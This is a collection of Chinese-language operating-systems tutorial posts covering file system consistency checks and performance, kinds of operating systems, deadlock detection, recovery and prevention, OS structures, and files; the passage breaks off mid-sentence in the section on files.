sfc,每当引导系统时(尤其是在崩溃后),都可以运行该程序。可以进行两种一致性检查:块的一致性检查和文件的一致性检查。为了检查块的一致性,应用程序会建立两张表,每个包含一个计数器的块,最初设置为 0 。第一个表中的计数器跟踪该块在文件中出现的次数,第二张表中的计数器记录每个块在空闲列表、空闲位图中出现的频率。然后检验程序使用原始设备读取所有的 inode,忽略文件的结构,只返回从零开始的所有磁盘块。从 inode 开始,很容易找到文件中的块数量。每当读取一个块时,该块在第一个表中的计数器 + 1,应用程序会检查空闲块或者位图来找到没有使用的块。空闲列表中块的每次出现都会导致其在第二表中的计数器增加。如果文件系统一致,则每一个块或者在第一个表计数器为 1,或者在第二个表计数器中为 1,如下图所示但是当系统崩溃后,这两张表可能如下所示其中,磁盘块 2 没有出现在任何一张表中,这称为 块丢失(missing block)。尽管块丢失不会造成实际的损害,但它的确浪费了磁盘空间,减少了磁盘容量。块丢失的问题很容易解决,文件系统检验程序把他们加到空闲表中即可。有可能出现的另外一种情况如下所示其中,块 4 在空闲表中出现了 2 次。这种解决方法也很简单,只要重新建立空闲表即可。最糟糕的情况是在两个或者多个文件中出现同一个数据块,如下所示比如上图的磁盘块 5,如果其中一个文件被删除,块 5 会被添加到空闲表中,导致一个块同时处于使用和空闲的两种状态。如果删除这两个文件,那么在空闲表中这个磁盘块会出现两次。文件系统检验程序采取的处理方法是,先分配一磁盘块,把块 5 中的内容复制到空闲块中,然后把它插入到其中一个文件中。这样文件的内容未改变,虽然这些内容可以肯定是不对的,但至少保证了文件的一致性。这一错误应该报告给用户,由用户检查受检情况。除了检查每个磁盘块计数的正确性之外,文件系统还会检查目录系统。这时候会用到一张计数器表,但这时是一个文件(而不是一个块)对应于一个计数器。程序从根目录开始检验,沿着目录树向下查找,检查文件系统的每个目录。对每个目录中的文件,使其计数 + 1。注意,由于存在硬连接,一个文件可能出现在两个或多个目录中。而遇到符号链接是不计数的,不会对目标文件的计数器 + 1。在检验程序完成后,会得到一张由 inode 索引的表,说明每个文件和目录的包含关系。检验程序会将这些数字与存储在文件 inode 中的链接数目做对比。如果 inode 节点的链接计数大户目录项个数,这时即使所有文件从目录中删除,这个计数仍然不是 0 ,inode 不会被删除。这种错误不严重,却因为存在不属于任何目录的文件而浪费了磁盘空间。另一种错误则是潜在的风险。如果同一个文件链接两个目录项,但是 inode 链接计数只为 1,如果删除了任何一个目录项,对应 inode 链接计数变为 0。当 inode 计数为 0 时,文件系统标志 inode 为 未使用,并释放全部的块。这会导致其中一个目录指向一未使用的 inode,而很有可能其块马上就被分配给其他文件。4.5文件系统性能访问磁盘的效率要比内存满的多,是时候又祭出这张图了从内存读一个 32 位字大概是 10ns,从硬盘上读的速率大概是 100MB/S,对每个 32 位字来说,效率会慢了四倍,另外,还要加上 5 - 10 ms 的寻道时间等其他损耗,如果只访问一个字,内存要比磁盘快百万数量级。所以磁盘优化是很有必要的,下面我们会讨论几种优化方式高速缓存最常用的减少磁盘访问次数的技术是使用 块高速缓存(block cache) 或者 缓冲区高速缓存(buffer cache)。高速缓存指的是一系列的块,它们在逻辑上属于磁盘,但实际上基于性能的考虑被保存在内存中。管理高速缓存有不同的算法,常用的算法是:检查全部的读请求,查看在高速缓存中是否有所需要的块。如果存在,可执行读操作而无须访问磁盘。如果检查块不再高速缓存中,那么首先把它读入高速缓存,再复制到所需的地方。之后,对同一个块的请求都通过高速缓存来完成。高速缓存的操作如下图所示由于在高速缓存中有许多块,所以需要某种方法快速确定所需的块是否存在。常用方法是将设备和磁盘地址进行散列操作,然后,在散列表中查找结果。具有相同散列值的块在一个链表中连接在一起(这个数据结构是不是很像 HashMap?),这样就可以沿着冲突链查找其他块。如果高速缓存已满,此时需要调入新的块,则要把原来的某一块调出高速缓存,如果要调出的块在上次调入后已经被修改过,则需要把它写回磁盘。这种情况与分页非常相似,所有常用的页面置换算法我们之前已经介绍过,如果有不熟悉的小伙伴可以参考 https://mp.weixin.qq.com/s/5-k2BJDgEp9symxcSwoprw。比如 FIFO 算法、第二次机会算法、LRU 算法、时钟算法、老化算法等。它们都适用于高速缓存。块提前读第二个明显提高文件系统的性能是,在需要用到块之前,试图提前将其写入高速缓存,从而提高命中率。许多文件都是顺序读取。如果请求文件系统在某个文件中生成块 k,文件系统执行相关操作并且在完成之后,会检查高速缓存,以便确定块 k + 1 是否已经在高速缓存。如果不在,文件系统会为 k + 1 安排一个预读取,因为文件希望在用到该块的时候能够直接从高速缓存中读取。当然,块提前读取策略只适用于实际顺序读取的文件。对随机访问的文件,提前读丝毫不起作用。甚至还会造成阻碍。减少磁盘臂运动高速缓存和块提前读并不是提高文件系统性能的唯一方法。另一种重要的技术是把有可能顺序访问的块放在一起,当然最好是在同一个柱面上,从而减少磁盘臂的移动次数。当写一个输出文件时,文件系统就必须按照要求一次一次地分配磁盘块。如果用位图来记录空闲块,并且整个位图在内存中,那么选择与前一块最近的空闲块是很容易的。如果用空闲表,并且链表的一部分存在磁盘上,要分配紧邻的空闲块就会困难很多。不过,即使采用空闲表,也可以使用 块簇 技术。即不用块而用连续块簇来跟踪磁盘存储区。如果一个扇区有 512 个字节,有可能系统采用 1 KB 的块(2 个扇区),但却按每 2 块(4 个扇区)一个单位来分配磁盘存储区。这和 2 KB 的磁盘块并不相同,因为在高速缓存中它仍然使用 1 KB 的块,磁盘与内存数据之间传送也是以 1 KB 进行,但在一个空闲的系统上顺序读取这些文件,寻道的次数可以减少一半,从而使文件系统的性能大大改善。若考虑旋转定位则可以得到这类方法的变体。在分配块时,系统尽量把一个文件中的连续块存放在同一个柱面上。在使用 inode 或任何类似 inode 的系统中,另一个性能瓶颈是,读取一个很短的文件也需要两次磁盘访问:一次是访问 inode,一次是访问块。通常情况下,inode 的放置如下图所示其中,全部 inode 放在靠近磁盘开始位置,所以 inode 和它所指向的块之间的平均距离是柱面组的一半,这将会需要较长时间的寻道时间。一个简单的改进方法是,在磁盘中部而不是开始处存放 inode ,此时,在 inode 和第一个块之间的寻道时间减为原来的一半。另一种做法是:将磁盘分成多个柱面组,每个柱面组有自己的 inode,数据块和空闲表,如上图 b 所示。当然,只有在磁盘中装有磁盘臂的情况下,讨论寻道时间和旋转时间才是有意义的。现在越来越多的电脑使用 固态硬盘(SSD),对于这些硬盘,由于采用了和闪存同样的制造技术,使得随机访问和顺序访问在传输速度上已经较为相近,传统硬盘的许多问题就消失了。但是也引发了新的问题磁盘碎片整理在初始安装操作系统后,文件就会被不断的创建和清除,于是磁盘会产生很多的碎片,在创建一个文件时,它使用的块会散布在整个磁盘上,降低性能。删除文件后,回收磁盘块,可能会造成空穴。磁盘性能可以通过如下方式恢复:移动文件使它们相互挨着,并把所有的至少是大部分的空闲空间放在一个或多个大的连续区域内。Windows 有一个程序 defrag 就是做这个事儿的。Windows 用户会经常使用它,SSD 除外。磁盘碎片整理程序会在让文件系统上很好地运行。Linux 文件系统(特别是 ext2 和 ext3)由于其选择磁盘块的方式,在磁盘碎片整理上一般不会像 Windows 一样困难,因此很少需要手动的磁盘碎片整理。而且,固态硬盘并不受磁盘碎片的影响,事实上,在固态硬盘上做磁盘碎片整理反倒是多此一举,不仅没有提高性能,反而磨损了固态硬盘。所以碎片整理只会缩短固态硬盘的寿命。
0
0
0
浏览量2018
爱喝奶茶的波波

操作系统入门-操作系统博物馆

三、操作系统博物馆操作系统已经存在了大半个世纪,在这段时期内,出现了各种类型的操作系统,但并不是所有的操作系统都很出名,下面就罗列一些比较出名的操作系统。3.1大型机操作系统高端一些的操作系统是大型机操作系统,这些大型操作系统可在大型公司的数据中心找到。这些计算机的 I/O 容量与个人计算机不同。一个大型计算机有 1000 个磁盘和数百万 G 字节的容量是很正常,如果有这样一台个人计算机朋友会很羡慕。大型机也在高端 Web 服务器、大型电子商务服务站点上。3.2服务器操作系统下一个层次是服务器操作系统。它们运行在服务器上,服务器可以是大型个人计算机、工作站甚至是大型机。它们通过网络为若干用户服务,并且允许用户共享硬件和软件资源。服务器可提供打印服务、文件服务或 Web 服务。Internet 服务商运行着许多台服务器机器,为用户提供支持,使 Web 站点保存 Web 页面并处理进来的请求。典型的服务器操作系统有 Solaris、FreeBSD、Linux 和 Windows Server 201x3.3多处理器操作系统获得大型计算能力的一种越来越普遍的方式是将多个 CPU 连接到一个系统中。依据它们连接方式和共享方式的不同,这些系统称为并行计算机,多计算机或多处理器。他们需要专门的操作系统,不过通常采用的操作系统是配有通信、连接和一致性等专门功能的服务器操作系统的变体。个人计算机中近来出现了多核芯片,所以常规的台式机和笔记本电脑操作系统也开始与小规模多处理器打交道,而核的数量正在与时俱进。许多主流操作系统比如 Windows 和 Linux 都可以运行在多核处理器上。3.4个人计算机系统接下来一类是个人计算机操作系统。现代个人计算机操作系统支持多道处理程序。在启动时,通常有几十个程序开始运行,它们的功能是为单个用户提供良好的支持。这类系统广泛用于字处理、电子表格、游戏和 Internet 访问。常见的例子是 Linux、FreeBSD、Windows 7、Windows 8 和苹果公司的 OS X 。3.5掌上计算机操作系统随着硬件越来越小化,我们看到了平板电脑、智能手机和其他掌上计算机系统。掌上计算机或者 PDA(Personal Digital Assistant),个人数字助理 是一种可以握在手中操作的小型计算机。这部分市场已经被谷歌的 Android 系统和苹果的 IOS 主导。3.6嵌入式操作系统嵌入式操作系统用来控制设备的计算机中运行,这种设备不是一般意义上的计算机,并且不允许用户安装软件。典型的例子有微波炉、汽车、DVD 刻录机、移动电话以及 MP3 播放器一类的设备。所有的软件都运行在 ROM 中,这意味着应用程序之间不存在保护,从而获得某种简化。主要的嵌入式系统有 Linux、QNX 和 VxWorks3.7传感器节点操作系统有许多用途需要配置微小传感器节点网络。这些节点是一种可以彼此通信并且使用无线通信基站的微型计算机。这类传感器网络可以用于建筑物周边保护、国土边界保卫、森林火灾探测、气象预测用的温度和降水测量等。每个传感器节点是一个配有 CPU、RAM、ROM 以及一个或多个环境传感器的实实在在的计算机。节点上运行一个小型但是真是的操作系统,通常这个操作系统是事件驱动的,可以响应外部事件。3.8实时操作系统另一类操作系统是实时操作系统,这些系统的特征是将时间作为关键参数。例如,在工业过程控制系统中,工厂中的实时计算机必须收集生产过程的数据并用有关数据控制机器。如果某个动作必须要在规定的时刻发生,这就是硬实时系统。可以在工业控制、民用航空、军事以及类似应用中看到很多这样的系统。另一类系统是 软实时系统,在这种系统中,虽然不希望偶尔违反最终时限,但仍可以接受,并不会引起任何永久性损害。数字音频或多媒体系统就是这类系统。智能手机也是软实时系统。3.9智能卡操作系统最小的操作系统运行在智能卡上。智能卡是一种包含一块 CPU 芯片的信用卡。它有非常严格的运行能耗和存储空间的限制。有些卡具有单项功能,如电子支付;有些智能卡是面向 Java 的。这意味着在智能卡的 ROM 中有一个 Java 虚拟机(Java Virtual Machine, JVM)解释器。
0
0
0
浏览量2018
爱喝奶茶的波波

死锁-死锁检测和恢复

四、死锁检测和恢复第二种技术是死锁的检测和恢复。这种解决方式不会尝试去阻止死锁的出现。相反,这种解决方案会希望死锁尽可能的出现,在监测到死锁出现后,对其进行恢复。下面我们就来探讨一下死锁的检测和恢复的几种方式4.1每种类型一个资源的死锁检测方式每种资源类型都有一个资源是什么意思?我们经常提到的打印机就是这样的,资源只有打印机,但是设备都不会超过一个。可以通过构造一张资源分配表来检测这种错误,比如我们上面提到的的算法来检测从 P1 到 Pn 这 n 个进程中的死锁。假设资源类型为 m,E1 代表资源类型1,E2 表示资源类型 2 ,Ei 代表资源类型 i (1 <= i <= m)。E 表示的是 现有资源向量(existing resource vector),代表每种已存在的资源总数。现在我们就需要构造两个数组:C 表示的是当前分配矩阵(current allocation matrix) ,R 表示的是 请求矩阵(request matrix)。Ci 表示的是 Pi 持有每一种类型资源的资源数。所以,Cij 表示 Pi 持有资源 j 的数量。Rij 表示 Pi 所需要获得的资源 j 的数量一般来说,已分配资源 j 的数量加起来再和所有可供使用的资源数相加 = 该类资源的总数。死锁的检测就是基于向量的比较。每个进程起初都是没有被标记过的,算法会开始对进程做标记,进程被标记后说明进程被执行了,不会进入死锁,当算法结束时,任何没有被标记过的进程都会被判定为死锁进程。上面我们探讨了两种检测死锁的方式,那么现在你知道怎么检测后,你何时去做死锁检测呢?一般来说,有两个考量标准:每当有资源请求时就去检测,这种方式会占用昂贵的 CPU 时间。每隔 k 分钟检测一次,或者当 CPU 使用率降低到某个标准下去检测。考虑到 CPU 效率的原因,如果死锁进程达到一定数量,就没有多少进程可以运行,所以 CPU 会经常空闲。4.2从死锁中恢复上面我们探讨了如何检测进程死锁,我们最终的目的肯定是想让程序能够正常的运行下去,所以针对检测出来的死锁,我们要对其进行恢复,下面我们会探讨几种死锁的恢复方式通过抢占进行恢复在某些情况下,可能会临时将某个资源从它的持有者转移到另一个进程。比如在不通知原进程的情况下,将某个资源从进程中强制取走给其他进程使用,使用完后又送回。这种恢复方式一般比较困难而且有些简单粗暴,并不可取。通过回滚进行恢复如果系统设计者和机器操作员知道有可能发生死锁,那么就可以定期检查流程。进程的检测点意味着进程的状态可以被写入到文件以便后面进行恢复。检测点不仅包含存储映像(memory image),还包含资源状态(resource state)。一种更有效的解决方式是不要覆盖原有的检测点,而是每出现一个检测点都要把它写入到文件中,这样当进程执行时,就会有一系列的检查点文件被累积起来。为了进行恢复,要从上一个较早的检查点上开始,这样所需要资源的进程会回滚到上一个时间点,在这个时间点上,死锁进程还没有获取所需要的资源,可以在此时对其进行资源分配。杀死进程恢复最简单有效的解决方案是直接杀死一个死锁进程。但是杀死一个进程可能照样行不通,这时候就需要杀死别的资源进行恢复。另外一种方式是选择一个环外的进程作为牺牲品来释放进程资源。
0
0
0
浏览量2022
爱喝奶茶的波波

死锁-破坏死锁

六、破坏死锁死锁本质上是无法避免的,因为它需要获得未知的资源和请求,但是死锁是满足四个条件后才出现的,它们分别是互斥保持和等待不可抢占循环等待我们分别对这四个条件进行讨论,按理说破坏其中的任意一个条件就能够破坏死锁6.1破坏互斥条件我们首先考虑的就是破坏互斥使用条件。如果资源不被一个进程独占,那么死锁肯定不会产生。如果两个打印机同时使用一个资源会造成混乱,打印机的解决方式是使用 假脱机打印机(spooling printer) ,这项技术可以允许多个进程同时产生输出,在这种模型中,实际请求打印机的唯一进程是打印机守护进程,也称为后台进程。后台进程不会请求其他资源。我们可以消除打印机的死锁。后台进程通常被编写为能够输出完整的文件后才能打印,假如两个进程都占用了假脱机空间的一半,而这两个进程都没有完成全部的输出,就会导致死锁。因此,尽量做到尽可能少的进程可以请求资源。6.2破坏保持等待的条件第二种方式是如果我们能阻止持有资源的进程请求其他资源,我们就能够消除死锁。一种实现方式是让所有的进程开始执行前请求全部的资源。如果所需的资源可用,进程会完成资源的分配并运行到结束。如果有任何一个资源处于频繁分配的情况,那么没有分配到资源的进程就会等待。很多进程无法在执行完成前就知道到底需要多少资源,如果知道的话,就可以使用银行家算法;还有一个问题是这样无法合理有效利用资源。还有一种方式是进程在请求其他资源时,先释放所占用的资源,然后再尝试一次获取全部的资源。6.3破坏不可抢占条件破坏不可抢占条件也是可以的。可以通过虚拟化的方式来避免这种情况。6.4破坏循环等待条件现在就剩最后一个条件了,循环等待条件可以通过多种方法来破坏。一种方式是制定一个标准,一个进程在任何时候只能使用一种资源。如果需要另外一种资源,必须释放当前资源。对于需要将大文件从磁带复制到打印机的过程,此限制是不可接受的。另一种方式是将所有的资源统一编号,如下图所示进程可以在任何时间提出请求,但是所有的请求都必须按照资源的顺序提出。如果按照此分配规则的话,那么资源分配之间不会出现环。尽管通过这种方式来消除死锁,但是编号的顺序不可能让每个进程都会接受。
0
0
0
浏览量2022
爱喝奶茶的波波

操作系统入门-操作系统

一、操作系统现代计算机系统由一个或多个处理器、主存、打印机、键盘、鼠标、显示器、网络接口以及各种输入/输出设备构成。然而,程序员不会直接和这些硬件打交道,而且每位程序员不可能会掌握所有计算机系统的细节,这样我们就不用再编写代码了,所以在硬件的基础之上,计算机安装了一层软件,这层软件能够通过响应用户输入的指令达到控制硬件的效果,从而满足用户需求,这种软件称之为 操作系统,它的任务就是为用户程序提供一个更好、更简单、更清晰的计算机模型。我们一般常见的操作系统主要有 Windows、Linux、FreeBSD 或 macOS ,这种带有图形界面的操作系统被称为 图形用户界面(Graphical User Interface, GUI),而基于文本、命令行的通常称为 Shell。下面是我们所要探讨的操作系统的部件这是一个操作系统的简化图,最下面的是硬件,硬件包括芯片、电路板、磁盘、键盘、显示器等我们上面提到的设备,在硬件之上是软件。大部分计算机有两种运行模式:内核态 和 用户态,软件中最基础的部分是操作系统,它运行在 内核态 中,内核态也称为 管态 和 核心态,它们都是操作系统的运行状态,只不过是不同的叫法而已。操作系统具有硬件的访问权,可以执行机器能够运行的任何指令。软件的其余部分运行在 用户态 下。用户接口程序(shell 或者 GUI) 处于用户态中,并且它们位于用户态的最低层,允许用户运行其他程序,例如 Web 浏览器、电子邮件阅读器、音乐播放器等。而且,越靠近用户态的应用程序越容易编写,如果你不喜欢某个电子邮件阅读器你可以重新写一个或者换一个,但你不能自行写一个操作系统或者是中断处理程序。这个程序由硬件保护,防止外部对其进行修改。
0
0
0
浏览量2032
爱喝奶茶的波波

操作系统入门-操作系统结构

六、操作系统结构下面我们会探讨操作系统的几种结构,主要包括单体结构、分层系统、微内核、客户-服务端系统、虚拟机和外核等。 下面以此来探讨一下6.1单体系统到目前为止,在大多数系统中,整个系统在内核态以单一程序的方式运行。 整个操作系统是以程序集合来编写的,链接在一块形成一个大的二进制可执行程序。 使用此技术时,如果系统中的每个过程都提供了前者所需的一些有用的计算,则它可以自由调用任何其他过程。 在单体系统中,调用任何一个所需要的程序都非常高效,但是上千个不受限制的彼此调用往往非常臃肿和笨拙,而且单体系统必然存在单体问题,那就是只要系统发生故障,那么任何系统和应用程序将不可用,这往往是灾难性的。在单体系统中构造实际目标程序时,会首先编译所有单个过程(或包含这些过程的文件),然后使用系统链接器将它们全部绑定到一个可执行文件中对于单体系统,往往有下面几种建议需要有一个主程序,用来调用请求服务程序需要一套服务过程,用来执行系统调用需要一套实用过程,用来辅助服务过程调用在单体系统中,对于每个系统调用都会有一个服务程序来保障和运行。 需要一组实用程序来弥补服务程序需要的功能,例如从用户程序中获取数据。 可将各种过程划分为一个三层模型除了在计算机初启动时所装载的核心操作系统外,许多操作系统还支持额外的扩展。 比如 I/O 设备驱动和文件系统。 这些部件可以按需装载。 在 UNIX 中把它们叫做 ,在 Windows 中则被称为 。 他们的扩展名为 ,在 目录下存在 1000 多个 DLL 文件,所以不要轻易删除 C 盘文件,否则可能就炸了哦。共享库(shared library)动态链接库(Dynamic Link Library,DLL).dllC:\Windows\system326.2分层系统分层系统使用层来分隔不同的功能单元。 每一层只与该层的上层和下层通信。 每一层都使用下面的层来执行其功能。 层之间的通信通过预定义的固定接口通信。分层系统是由 和他的学生在荷兰技术学院所开发的 THE 系统。E.W.Dijkstar把上面单体系统进一步通用化,就变为了一个层次式结构的操作系统,它的上层软件都是在下层软件的基础之上构建的。 该系统分为六层,如下所示处理器在 0 层运行,当中断发生或定时器到期时,由该层完成进程切换; 在第 0 层之上,系统由一些连续的进程组成,编写这些进程时不用再考虑在单处理器上多进程运行的细节。 内存管理在第 1 层,它分配进程的主存空间。 第 1 层软件保证一旦需要访问某一页面,该页面必定已经在内存中,并且在页面不需要的时候将其移出。第 2 层处理进程与操作员控制台(即用户)之间的通信。 第 3 层管理 I/O 设备和相关的信息流缓冲区。 第 4 层是用户程序层,用户程序不用考虑进程、内存、控制台或 I/O 设备管理等细节。 系统操作员在第 5 层。6.3微内核在分层方式中,设计者要确定在哪里划分 的边界。 传统上,所有的层都在内核中,但是这样做没有必要。 事实上,尽可能减少内核态中功能可能是更好的做法。 因为内核中的错误很难处理,一旦内核态中出错误会拖累整个系统。内核-用户所以,为了实现高可靠性,将操作系统划分成小的、层级之间能够更好定义的模块是很有必要的,只有一个模块 --- 微内核 --- 运行在内核态,其余模块可以作为普通用户进程运行。 由于把每个设备驱动和文件系统分别作为普通用户进程,这些模块中的错误虽然会使这些模块崩溃,但是不会使整个系统死机。MINIX 3 是微内核的代表作,它的具体结构如下在内核的外部,系统的构造有三层,它们都在用户态下运行,最底层是设备驱动器。 由于它们都在用户态下运行,所以不能物理的访问 I/O 端口空间,也不能直接发出 I/O 命令。 相反,为了能够对 I/O 设备编程,驱动器构建一个结构,指明哪个参数值写到哪个 I/O 端口,并声称一个内核调用,这样就完成了一次调用过程。位于用户态的驱动程序上面是层,包含有服务器,它们完成操作系统的多数工作。 由一个或多个文件服务器管理着文件系统,进程管理器创建、销毁和管理进程。 服务器中有一个特殊的服务器称为 ,它的任务就是检查服务器和驱动程序的功能是否正确,一旦检查出来错误,它就会补上去,无需用户干预。 这种方式使得系统具有可恢复性,并具有较高的可靠性。服务器再生服务器(reincarnation server)微内核中的内核还具有一种 与 分离的思想。 比如系统调度,一个比较简单的调度算法是,对每个进程赋予一个优先级,并让内核执行具有最高优先级的进程。 这里,内核机制就是寻找最高的优先级进程并运行。 而策略(赋予进程优先级)可以在用户态中的进程完成。 在这种模式中,策略和机制是分离的,从而使内核变得更小。机制策略6.4客户-服务器模式微内核思想的策略是把进程划分为两类:,每个服务器用来提供服务; ,使用这些服务。 这个模式就是所谓的 模式。服务器客户端客户-服务器客户-服务器模式会有两种载体,一种情况是一台计算机既是客户又是服务器,在这种方式下,操作系统会有某种优化; 但是普遍情况下是客户端和服务器在不同的机器上,它们通过局域网或广域网连接。客户通过发送消息与服务器通信,客户端并不需要知道这些消息是在本地机器上处理,还是通过网络被送到远程机器上处理。 对于客户端而言,这两种情形是一样的:都是发送请求并得到回应。越来越多的系统,包括家里的 PC,都成为客户端,而在某地运行的大型机器则成为服务器。 许多 web 就是以这种方式运行的。 一台 PC 向某个服务器请求一个 Web 页面,服务器把 Web 页面返回给客户端,这就是典型的客服-服务器模式
0
0
0
浏览量1505
爱喝奶茶的波波

文件系统-文件

一、文件文件(Files)是由进程创建的逻辑信息单元。一个磁盘会包含几千甚至几百万个文件,每个文件是独立于其他文件的。事实上,如果你能把每个文件都看作一个独立的地址空间,那么你就可以真正理解文件的概念了。进程能够读取已经存在的文件,并在需要时重新创建他们。存储在文件中的信息必须是持久的,这也就是说,不会因为进程的创建和终止而受影响。一个文件只能在当用户明确删除的时候才能消失。尽管读取和写入都是最基本的操作,但还有许多其他操作,我们将在下面介绍其中的一些。文件由操作系统进行管理,有关文件的构造、命名、访问、使用、保护、实现和管理方式都是操作系统设计的主要内容。从总体上看,操作系统中处理文件的部分称为 文件系统(file system),这就是我们所讨论的。从用户角度来说,用户通常会关心文件是由什么组成的,如何给文件进行命名,如何保护文件,以及可以对文件进行哪些操作等等。尽管是用链表还是用位图记录内存空闲区并不是用户所关心的主题,而这些对系统设计人员来说至关重要。下面我们就来探讨一下这些主题1.1文件命名文件是一种抽象机制,它提供了一种方式用来存储信息以及在后面进行读取。可能任何一种机制最重要的特性就是管理对象的命名方式。在创建一个文件后,它会给文件一个命名。当进程终止时,文件会继续存在,并且其他进程可以使用名称访问该文件。文件命名规则对于不同的操作系统来说是不一样的,但是所有现代操作系统都允许使用 1 - 8 个字母的字符串作为合法文件名。某些文件区分大小写字母,而大多数则不区分。UNIX 属于第一类;历史悠久的 MS-DOS 属于第二类(顺便说一句,尽管 MS-DOS 历史悠久,但 MS-DOS 仍在嵌入式系统中非常广泛地使用,因此它绝不是过时的);因此,UNIX 系统会有三种不同的命名文件:maria、Maria、MARIA 。在 MS-DOS ,所有这些命名都属于相同的文件。这里可能需要在文件系统上预留一个位置。Windows 95 和 Windows 98 都使用了 MS-DOS 文件系统,叫做 FAT-16,因此继承了它的一些特征,例如有关文件名的构造方法。Windows 98 引入了对 FAT-16 的一些扩展,从而导致了 FAT-32 的生成,但是这两者很相似。另外,Windows NT,Windows 2000,Windows XP,Windows Vista,Windows 7 和 Windows 8 都支持 FAT 文件系统,这种文件系统有些过时。然而,这些较新的操作系统还具有更高级的本机文件系统(NTFS),有不同的特性,那就是基于 Unicode 编码的文件名。事实上,Windows 8 还配备了另一种文件系统,简称 ReFS(Resilient File System),但这个文件系统一般应用于 Windows 8 的服务器版本。下面除非我们特殊声明,否则我们在提到 MS-DOS 和 FAT 文件系统的时候,所指的就是 Windows 的 FAT-16 和 FAT-32。这里要说一下,有一种类似 FAT 的新型文件系统,叫做 exFAT。它是微软公司对闪存和大文件系统开发的一种优化的 FAT 32 扩展版本。ExFAT 是现在微软唯一能够满足 OS X读写操作的文件系统。许多操作系统支持两部分的文件名,它们之间用 . 分隔开,比如文件名 prog.c。原点后面的文件称为 文件扩展名(file extension) ,文件扩展名通常表示文件的一些信息。例如在 MS-DOS 中,文件名是 1 - 8 个字符,加上 1 - 3 个字符的可选扩展名组成。在 UNIX 中,如果有扩展名,那么扩展名的长度将由用户来决定,一个文件甚至可以包括两个或更多的扩展名,例如 homepage.html.zip,html 表示一个 web 网页而 .zip 表示文件homepage.html 已经采用 zip 程序压缩完成。一些常用的文件扩展名以及含义如下图所示在 UNIX 系统中,文件扩展名只是一种约定,操作系统并不强制采用。名为 file.txt 的文件是文本文件,这个文件名更多的是提醒所有者,而不是给计算机传递信息。但是另一方面,C 编译器可能要求它编译的文件以.c 结尾,否则它会拒绝编译。然而,操作系统并不关心这一点。对于可以处理多种类型的程序,约定就显得及其有用。例如 C 编译器可以编译、链接多种文件,包括 C 文件和汇编语言文件。这时扩展名就很有必要,编译器利用它们区分哪些是 C 文件,哪些是汇编文件,哪些是其他文件。因此,扩展名对于编译器判断哪些是 C 文件,哪些是汇编文件以及哪些是其他文件变得至关重要。与 UNIX 相反,Windows 就会关注扩展名并对扩展名赋予了新的含义。用户(或进程) 可以在操作系统中注册扩展名,并且规定哪个程序能够拥有扩展名。当用户双击某个文件名时,拥有该文件名的程序就启动并运行文件。例如,双击 file.docx 启动了 Word 程序,并以 file.docx 作为初始文件。1.2文件结构文件的构造有多种方式。下图列出了常用的三种构造方式上图中的 a 是一种无结构的字节序列,操作系统不关心序列的内容是什么,操作系统能看到的就是字节(bytes)。其文件内容的任何含义只在用户程序中进行解释。UNIX 和 Windows 都采用这种办法。把文件看成字节序列提供了最大的灵活性。用户程序可以向文件中写任何内容,并且可以通过任何方便的形式命名。操作系统不会为为用户写入内容提供帮助,当然也不会干扰阻塞你。对于想做特殊操作的用户来说,后者是十分重要的。所有的 UNIX 版本(包括 Linux 和 OS X)和 Windows 都使用这种文件模型。图 b 表示在文件结构上的第一部改进。在这个模型中,文件是具有固定长度记录的序列,每个记录都有其内部结构。 把文件作为记录序列的核心思想是:读操作返回一个记录,而写操作重写或者追加一个记录。第三种文件结构如上图 c 所示。在这种组织结构中,文件由一颗记录树构成,记录树的长度不一定相同,每个记录树都在记录中的固定位置包含一个key 字段。这棵树按 key 进行排序,从而可以对特定的 key 进行快速查找。在记录树的结构中,可以取出下一个记录,但是最关键的还是根据 key 搜索指定的记录。如上图 c 所示,用户可以读出指定的 pony 记录,而不必关心记录在文件中的确切位置。用户也可以在文件中添加新的记录。但是用户不能决定添加到何处位置,添加到何处位置是由操作系统决定的。1.3文件类型很多操作系统支持多种文件类型。例如,UNIX(同样包括 OS X)和 Windows 都具有常规的文件和目录。除此之外,UNIX 还具有字符特殊文件(character special file) 和 块特殊文件(block special file)。常规文件(Regular files) 是包含有用户信息的文件。用户一般使用的文件大都是常规文件,常规文件一般包括 可执行文件、文本文件、图像文件,从常规文件读取数据或将数据写入时,内核会根据文件系统的规则执行操作,是写入可能被延迟,记录日志或者接受其他操作。字符特殊文件和输入/输出有关,用于串行 I/O 类设备,如终端、打印机、网络等。块特殊文件用于磁盘类设备。我们主要讨论的是常规文件。常规文件一般分为 ASCII 码文件或者二进制文件。ASCII 码文件由文本组成。在一些系统中,每行都会用回车符结束(ASCII码是13,控制字符 CR,转义字符\r。),另外一些则会使用换行符(ASCII码是10,控制字符LF,转义字符\n)。一些系统(比如 Windows)两者都会使用。ASCII 文件的优点在于显示 和 打印,还可以用任何文本编辑器进行编辑。进一步来说,如果许多应用程序使用 ASCII 码作为输入和输出,那么很容易就能够把多个程序连接起来,一个程序的输出可能是另一个程序的输入,就像管道一样。其他与 ASCII 不同的是二进制文件。打印出来的二进制文件是无法理解的。下面是一个二进制文件的格式,它取自早期的 UNIX 。尽管从技术上来看这个文件只是字节序列,但是操作系统只有在文件格式正确的情况下才会执行。这个文件有五个段:文件头、征文、数据、重定位位和符号表。文件头以 魔数(magic number) 为开始,表明这个文件是一个可执行文件(以防止意外执行非此格式的文件)。然后是文件各个部分的大小,开始执行的标志以及一些标志位。程序本身的正文和数据在文件头后面,他们被加载到内存中或者重定位会根据重定位位进行判断。符号表则用于调试。二进制文件的另外一种形式是存档文件,它由已编译但没有链接的库过程(模块)组合而成。每个文件都以模块头开始,其中记录了名称、创建日期、所有者、保护码和文件大小。和可执行文件一样,模块头也都是二进制数,将它们复制到打印机将会产生乱码。所有的操作系统必须至少能够识别一种文件类型:它自己的可执行文件。以前的 TOPS-20 系统(用于DECsystem 20)甚至要检查要执行的任何文件的创建时间,为了定位资源文件来检查自动文件创建后是否被修改过。如果被修改过了,那么就会自动编译文件。在 UNIX 中,就是在 shell 中嵌入 make 程序。此时操作系统要求用户必须采用固定的文件扩展名,从而确定哪个源程序生成哪个二进制文件。什么是 make 程序?在软件发展过程中,make 程序是一个自动编译的工具,它通过读取称为 Makefiles 的文件来自动从源代码构建可执行程序和库,该文件指定了如何导出目标程序。尽管集成开发环境和特定于语言的编译器功能也可以用于管理构建过程,但 Make 仍被广泛使用,尤其是在 Unix 和类似 Unix 的操作系统中使用。当程序从文件中读写数据时,请求会转到内核处理程序(kernel 